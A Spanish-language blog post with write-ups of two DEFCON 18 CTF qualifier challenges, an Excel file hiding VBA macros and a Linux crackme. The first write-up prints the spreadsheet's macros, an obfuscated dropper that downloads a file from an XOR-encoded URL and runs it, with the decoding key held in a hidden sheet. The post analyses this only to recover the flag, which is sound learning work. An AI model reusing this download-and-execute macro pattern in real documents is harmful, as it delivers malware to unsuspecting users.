miércoles, 26 de mayo de 2010

Defcon18 CTF Quals -- Crypto Badness 300

El binario de este nivel era c300_f75bec6f545034716.tgz. Hay una copia disponible en hackerschool y los checksum concuerdan (md5:60f710ac26a148b3b915864483d1cb3a, sha1:42b1a776e4fb075879989b1a0258b6d1c996625a).

Parecia un tar.gz, pero mire que era por si acaso:
rmolina@aghora ~ $ file c300_f75bec6f545034716.tgz
c300_f75bec6f545034716.tgz: gzip compressed data, from Unix, last modified: Sat May 22 15:00:16 2010
en efecto, un tarball, que desempaquetamos:
rmolina@aghora ~ $ tar zxvf c300_f75bec6f545034716.tgz
c300_f75bec6f545034716.xls
obtenemos lo que parece ser un libro de ms-excel y verificamos:
rmolina@aghora ~ $ file c300_f75bec6f545034716.xls
c300_f75bec6f545034716.xls: CDF V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Jul 26 11:18:57 2006, Last Saved Time/Date: Wed May 26 19:41:29 2010, Security: 1
lo que interesa es el 'Security: 1', por fortuna oocalc se salta la restricción, pero en Win resolver los pass de hojas de calculo o pass de proyectos vba tambien es trivial

ok, revisamos el libro:
rmolina@aghora ~ $ oocalc c300_f75bec6f545034716.xls
En el listado de hojas solo vemos 'Asteroids' pero dice que el libro tiene dos hojas.
En las macros (Tools → Macros → Organize Macros → OpenOffice.org Basic) vemos algunas...
Private Sub GF()    WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")
    FL = X("51092F16535C6F003A56")
    RV = URLDownloadToFile(0, WL, FL, 0, 0)
End Sub
GF() descargara desde una url un archivo con URLDownloadToFile...
Private Sub EX()
    Dim OF As String
    On Error Resume Next
    UP = X("51092F")
    OF = X("40521E4A574924")
    RV = ShellExecute(0, "open", OF, "", UP, 3)
End Sub
EX() ejecutara un archivo con ShellExecute (se puede suponer que el descargado)...

Lo que tienen en comun GF() y EX() es que usaran X() para decodificar los parametros que pasaran al api...
Private Function X(DI As String) As String

    Dim CK, sDO As String
    Dim lDP, iXV1, iXV2 As Integer

    On Error Resume Next

    CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _
        Worksheets("Data").Range("Z9550")

    For lDP = 1 To (Len(DI) / 2)
        iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))
        iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))
        sDO = sDO + Chr(iXV1 Xor iXV2)
    Next lDP
    X = sDO

End Function
Al estudiar X(DI) vemos que decodifica la cadena DI, usando CK en el proceso...

y quien es este CK?
    CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _
        Worksheets("Data").Range("Z9550")
Aqui vemos que la hoja que nos faltaba es Data y que CK se forma desde algunas celdas de esta hoja

Al regresar a oocalc, en la primera celda podemos evaluar CK usando:
=Data.AU2&Data.BE4866&Data.Z9550
y la clave que obtenemos resulta ser la clave del nivel: a23sd21AeB349sdfWewrfw29552 :)

Defcon18 CTF Quals -- Binary L33tness 100

El binario de este nivel era b100_4c5cd364e89fd34.bin. Hay una copia disponible en hackerschool y los checksum concuerdan (md5:7180bec10724ea5398956a321a43fdfc, sha1:6a482191c8045be85edaf7911615ddc71f871ee8).

Primero, mire que era:
rmolina@aghora ~ $ file b100_4c5cd364e89fd34.bin 
b100_4c5cd364e89fd34.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
Lo ejecute:
rmolina@aghora ~ $ ./b100_4c5cd364e89fd34.bin 
Please supply a key
Intente una clave cualquiera para ver las salidas:
rmolina@aghora ~ $ ./b100_4c5cd364e89fd34.bin 12345
I hope you got it! Good luck
uLO̵�R ��Z]L ��ҷ\�g%L �{��<� 
Intente una clave nula (si, nula, tengo la costumbre):
rmolina@aghora ~ $ ./b100_4c5cd364e89fd34.bin ''
I hope you got it! Good luck
��M.+Q�
The real key is: bob's yer mom
Algo paso aquí...

Intenté con esa clave: "bob's yer mom"
rmolina@aghora ~ $ ./b100_4c5cd364e89fd34.bin "bob's yer mom"
I hope you got it! Good luck
,Z��Y �7j  �46��PmG�1 q�� Q�
��w
No paso nada...

uhmmm... Claro, porque bob's yer mom no era la clave del binario, sino la del nivel... listo!

Todo el proceso en dos o tres minutos como maximo :)